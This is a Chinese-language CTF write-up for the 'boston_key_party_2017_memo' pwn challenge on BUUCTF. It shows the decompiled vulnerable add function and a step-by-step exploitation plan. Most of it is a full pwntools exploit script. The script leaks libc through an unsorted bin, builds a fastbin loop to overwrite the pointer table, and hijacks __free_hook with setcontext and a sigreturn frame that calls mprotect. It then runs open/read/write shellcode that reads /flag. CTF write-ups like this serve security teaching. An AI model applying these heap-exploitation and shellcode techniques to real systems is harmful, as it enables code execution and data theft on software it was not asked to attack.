[BUUCTF-pwn] boston_key_party_2017_memo

一个有写溢出,禁用了execve的 orw题

程序没有开PIE,就可以在bss里随便搞了

漏洞点在add函数,当申请一个超过0x20的块时会建一个0x20的块,但可以按输入size写入,造成溢出。这个溢出很大,可以搞的东西很多。这时候不会写size和指针,只建个块。

int m1add()
{
  int result; // eax
  void *buf; // [rsp+0h] [rbp-10h] BYREF
  size_t size; // [rsp+8h] [rbp-8h]

  buf = 0LL;
  size = 0LL;
  qword_602A00 = (int)readint("Index: ");
  if ( *((_QWORD *)&unk_602A70 + qword_602A00) )
    return puts("can't use this index\n");
  if ( (unsigned __int64)qword_602A00 > 4 )
  {
    puts("Index too large");
    exit(1);
  }
  size = (int)readint("Length: ");
  if ( size > 0x20 )
  {
    puts("message too long, you can leave on memo though");
    buf = malloc(0x20uLL);
    read(0, buf, size);                         // 写溢出
    result = sub_4009D9();
  }
  else
  {
    buf = malloc(size);
    printf("Message: ");
    read(0, buf, size);
    *((_QWORD *)&unk_602A70 + qword_602A00) = buf;
    *((_QWORD *)&unk_602A70 + qword_602A00 + 5) = &buf;
    dword_602A60[qword_602A00] = size;
    result = puts(&s);
  }
  return result;
}

主要步骤:

  1. 先建5个块(最多5个)第5个写大尺寸,只建个块不写指针和size(以免覆盖0块的指针)
  2. 将0块释放后再建大块通过写溢出修改1块的头,为0x91,再释放1块进入unsort
  3. 建1块,这时unsortbins的fd,bk在2块上,show(2)得到libc
  4. 再建0块,这时0和2重叠,依次释放0,1,2得到fastbin loop
  5. 写入0x602a50,0,0,XXXXX控制size和ptr数组区。这里将size数组值改大以便后边通过指针修改数据。指针改写为0x602b00(bss里的一块可以空白区域),free_hook-0x10
  6. ======下边开始整orw====== 
  7. 修改free_hook为setcontext+53,后边是free_hook+0x18两个,和shellcode1
  8. 把sigreturn frame写到bss里的区域
  9. 释放sigreturn frame 这时候由于free_hook已劫持会调用setcontext将free_hook所在块设为读写执行权限,然后读入shellcode(orw)执行
  10. 最后将shellcode写入

完整exp:

from pwn import *

'''
patchelf --set-interpreter /home/shi/pwn/libc6_2.23/ld-2.23.so pwn
patchelf --add-needed /home/shi/pwn/libc6_2.23/libc-2.23.so pwn
'''

local = 0
if local == 1:
    p = process('./pwn')
    libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
    one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
    libc_start_main_ret = 0x20840
else:
    p = remote('node4.buuoj.cn', 25236) 
    libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')
    one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
    libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context.arch = 'amd64'

menu = b'>> '
def add(idx, size, msg):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Length: ", str(size).encode())
    p.send(msg)
    
def edit(idx, msg):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(menu, b'2')
    p.sendafter(b"Edit message: ", msg)

def show(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"Index: ", str(idx).encode())

def free(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Index: ", str(idx).encode())

context.log_level = 'debug'

p.sendlineafter(b"What's user name: ", b'A')
p.sendlineafter(b'Do you wanna set password? (y/n) ', b'y')
p.sendlineafter(b"Password: ", flat(0,0,0,0x31))

#1,leak libc
[add(i,0x20, b'A') for i in range(4)]
add(4, 0x80, b'A')   #这个不写size和ptr只为防止unsort与top_chunk合并
free(0)
add(0, 0x30, flat(0,0,0,0,0,0x91))
free(1)
add(1, 0x20, b'A'*8)
show(2)
p.recvuntil(b"View Message: ")
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x58 -0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
free_hook = libc_elf.sym['__free_hook']
setcontext = libc_elf.sym['setcontext']
print('libc:', hex(libc_base))

#2, ptr_table
add(0, 0x20, b'A') #0=2
free(0)
free(1)
free(2)
add(0, 0x20, p64(0x602a50))
add(1, 0x30, b'A')
add(1, 0x30, b'A')
add(1, 0x80, p32(0x1000)*4 + p64(0x602b00) + p64(free_hook -0x10 ) + p64(0x602a70))

#3, free_hook->setcontext+53
new_addr = free_hook & 0xfffffffffffff000
shellcode1 = '''
    xor rdi,rdi
    mov rsi,%d
    mov edx,0x1000

    mov eax,0
    syscall

    jmp rsi
''' % new_addr
edit(1, b'a'*0x10 + p64(setcontext+53)+p64(free_hook+0x18)*2 + asm(shellcode1))

#4, setcontext(frame)
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc_elf.sym['mprotect']
edit(0, flat(frame))
free(0)

#5, orw, shell
shellcode2 = '''
    mov rax, 0x67616c662f ;// /flag
    push rax

    mov rdi, rsp ;// /flag
    mov rsi, 0 ;// O_RDONLY
    xor rdx, rdx ;
    mov rax, 2 ;// SYS_open
    syscall

    mov rdi, rax ;// fd 
    mov rsi,rsp  ;
    mov rdx, 1024 ;// nbytes
    mov rax,0 ;// SYS_read
    syscall

    mov rdi, 1 ;// fd 
    mov rsi, rsp ;// buf
    mov rdx, rax ;// count 
    mov rax, 1 ;// SYS_write
    syscall

    mov rdi, 0 ;// error_code
    mov rax, 60
    syscall
'''
p.sendline(asm(shellcode2))
p.recv()

p.interactive()

有个小坑,edit不让输入idx,可以在add里输入再出来就不用输了。

另外程序有个后门,作完了才发现。不过setcontext的模板用着也方便,以后没有的时候正好用(自加难度了)。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值